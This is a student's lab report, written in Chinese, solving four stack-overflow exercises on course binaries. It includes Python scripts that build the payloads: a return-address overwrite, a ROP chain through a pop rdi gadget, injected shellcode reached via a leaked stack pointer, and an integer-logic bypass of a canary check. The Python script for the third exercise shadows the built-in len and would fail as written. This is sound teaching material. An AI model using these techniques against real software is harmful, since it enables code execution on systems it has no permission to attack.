栈溢出攻击实验

谢文博
2024201627

1. problem1
2. problem2
3. problem3
4. problem4
5. 实验总结

1 problem1

整体思路：反汇编得到汇编代码 code1.asm（后面同理），这里要利用 func 函数中的 strcpy 函数漏洞，覆盖其返回地址，从而跳转到 func1 函数，输出”Yes!I like ICS!”。下面是完整分析。

完整分析： 1. func1 (0x401216) 函数调用 puts 输出字符串（”Yes!I like ICS!”）然后 exit(0)。目标是程序需要执行到这里。

```
401246: 48 8d 45 f8             lea    -0x8(%rbp),%rax    ; 目标缓冲区地址
401250: e8 5b fe ff ff          call   4010b0 <strcpy@plt>
```

目标缓冲区位于栈上 rbp - 8 的位置。call strcpy 这里的 strcpy 是不安全的。它将输入数据 answer 复制到 rbp - 8。但是没有检查长度，所以这里可以通过输入长字符串来覆盖栈上的数据。

2. 计算偏移量：我们需要覆盖栈上的返回地址 (ReAdd)。

栈的布局如下：内存地址内容长度 rbp + 8 返回地址 (目标位置)8 字节 rbp + 0 保存的 RBP8 字节 rbp - 8 局部变量 buffer 8 字节

所以从 rbp - 8 开始写入。为了修改返回地址，需要填充 8 字节 (buffer)+8 字节 (Saved RBP)，一共是 16 字节的填充数据。

3. 构造 Payload: 16 个任意字符（这里设置为 A）。返回地址填入 func1 的地址 0x401216。因为是小端序，表示为在：$0x16, 0x12, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00$。（这里 strcpy 遇到 0x00 就会停止复制，而 func1 的地址低位 16 12 40 后面紧接着就是 00，所以只需要在文件中写入 $0x16, 0x12, 0x40$，strcpy 会自动补上 0x00 结束符，所以 python 代码和运行结果为：

```python
import struct

padding = b'A' * 16
# 目标地址 func1: 0x401216
target_addr = b'\x16\x12\x40\x00'

# Payload
payload = padding + target_addr
# 写入
with open('answer1.txt', 'wb') as f:
    f.write(payload)
print("answer1已生成")
```

```
xiebro@Captain:~/attack-lab-xwb2006$ ./problem1 answer1.txt
Do you like ICS?
Yes!I like ICS!
```

2 problem2

problem2 中开启了 NX 保护，栈不可直接修改。但是 func 函数中的 memcpy 存在漏洞：

```
4012a4: 48 8d 45 f8             lea    -0x8(%rbp),%rax
4012a8: ba 38 00 00 00          mov    $0x38,%edx ; 复制 56 字节
4012b3: e8 38 fe ff ff          call   4010f0 <memcpy@plt>
```

缓冲区仍为 rbp-8 开始，但这里 memcpy 允许写入 56 字节，超过覆盖返回地址所需的 16 字节。而目标函数 func2 (0x401216) 只有在参数%edi = 0x3f8 时（代码 401225 处）输出 Flag。

因为第一个参数放在%rdi，所以需要在 func2 之前，将%rdi 设置为 0x3f8。由于不能执行 Shellcode，需要利用已有的信息。注意到在 0x4012c7 处 pop %rdi; ret。所以逻辑为：覆盖返回地址为 0x4012c7，放入参数 0x3f8 作为%rdi 的值，再放入 func2 地址 (0x401216)。

也就是先填充 16 字节 buffer，然后执行 pop，然后%rdi 被修改为 0x3f8，从而目标函数 func2 的%edi 符合需求，输出 Flag。代码及结果为：

```python
import struct

# Padding：16字节
padding = b'A' * 16
# pop rdi 0x4012c7
rdi_addr = 0x4012c7
# 参数0x3f8
val = 0x3f8
# 目标func2
func = 0x401216

# Payload [Padding]+[rdi_addr]+[0x3f8]+[func2]
payload = padding
payload += struct.pack('<Q', rdi_addr) # 覆盖返回地址，从而跳转func2
payload += struct.pack('<Q', val)      #  pop rdi 比较
payload += struct.pack('<Q', func)  #  ret地址func

with open('answer2.txt', 'wb') as f:
    f.write(payload)
print("answer2已生成。")
```

```
xiebro@Captain:~/attack-lab-xwb2006$ ./problem2 answer2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

3 problem3

这里开启了 ASLR，也就是栈地址随机。但在 func 函数中，将%rsp 栈指针保存到了全局变量 0x403510。[401368: mov %rsp,0x21a1(%rip)]

同时提供了函数 jmp_xs (0x401334)：

```
401347: addq   $0x10,-0x8(%rbp) ; saved_rsp + 16
401350: jmp    *%rax  ;
```

也就是说 jmp_xs 函数能读取-0x8(%rbp) 上的地址，然后加 16 字节之后跳转到该地址。

这里 func 中缓冲区位于 rbp-0x20。因为 rbp = rsp + 0x30，缓冲区地址恰好就是 rsp + 0x10，也就是加上 16 字节。

已知栈的流程为 [Shellcode] [填充] [返回地址]，所以攻击策略为：Shellcode 设置为：参数 edi 为 0x72, 并调用 func1 (0x401216)；后面把 func 的返回地址改成函数 jmp_xs 的地址 (0x401334)，从而实现跳转到输入的最开头，也就是 Shellcode 的开头，这里设参数 edi 为 0x72(114)，然后调用 func1，即为答案。

```python
import struct

# 构造 shell，目标func1(0x72)0x401216，占用前 14 字节
shell = b''
```

```
shell += b'\xbf\x72\x00\x00\x00'    # mov edi, 0x72
shell += b'\x48\xc7\xc0\x16\x12\x40\x00'      # mov rax, 0x401216
shell += b'\xff\xd0'      # call rax

# Padding (Buffer 32字节, Saved RBP 8字节)
# 需要填充 40 - len(shell)字节
len = 40 - len(shell)
padding = b'\x90' * len  # 使用 NOP 填充

# 覆盖返回地址, 跳到函数 jmp_xs 0x401334
jmp_xs = 0x401334
ret_addr = struct.pack('<Q', jmp_xs)

# Payload
payload = shell + padding + ret_addr
with open('answer3.txt', 'wb') as f:
    f.write(payload)

print(f"answer3已生成")
```

```
xiebro@Captain:~/attack-lab-xwb2006$ ./problem3 answer3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

4 problem4

在 code4.asm 的 func 函数中，可以看到 (0x136c 处)Canary 实现代码为：

```
mov %fs:0x28,%rax    ; 从 FS 段取随机值
mov %rax,-0x8(%rbp) ; 放入rbp-8
```

Canary 位于局部变量和 Saved RBP 之间，后面 (0x140a) 检查 Canary 是否被改。此处无法利用传统的栈溢出覆盖返回地址，但是代码中，在 func 末尾有如下检查：

```
13df: cmpl $0xffffffff,-0xc(%rbp)  ; 检查变量是否为 -1
13e3: 74 11                        ; 是则跳转
...
13f6: call func1                   ; 通关函数
```

要到达这里，必须通过前面的循环。其中计数器-0x14(%rbp) 初始化为 0，循环上限 -0x10(%rbp) 被初始化为 0xfffffffe (-2)，输入存放在 -0x18(%rbp)。每次循环计数器加 1，同时输入值会减 1。循环结束后，程序会进行检查：cmpl 、$0x1,-0x18(%rbp) ；检查输入是否等于 1。所以

$$\text{最终输入} = \text{初始输入} - \text{循环次数}$$

，也就是说

$$\text{初始输入} = 1 + 0xfffffffe = -1$$

所以本题不需要编写 Python ，直接运行./problem4 程序，在终端中输入-1 即可。

```
xiebro@Captain:~/attack-lab-xwb2006$ ./problem4
hi please tell me what is your name?
xiebro
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

5 思考总结

通过本次实验，我对栈攻击的形式有了更深入的理解：

问题一中，栈无保护，所以采用最简单的返回地址覆盖，函数 func 使用了函数 strcpy，但是不检查字符串的长度，所以可以通过构造长输入，向高地址方向溢出。

问题二中，有 NX 保护，必须用 ROP，利用代码片段构造攻击 answer。

问题三中，栈有 ASLR 保护，也就是栈地址随机化，但是代码中有栈顶指针%rsp 地址信息泄露，仍然可以定位栈地址。利用 jmp_xs 函数跳转回 Buffer → 执行 Shellcode。

问题四中有 Canary 保护，阻止了栈溢出。所以只能找代码逻辑漏洞，通过巧妙地定位循环代码的输入检查，来实现跳转到指定的函数中。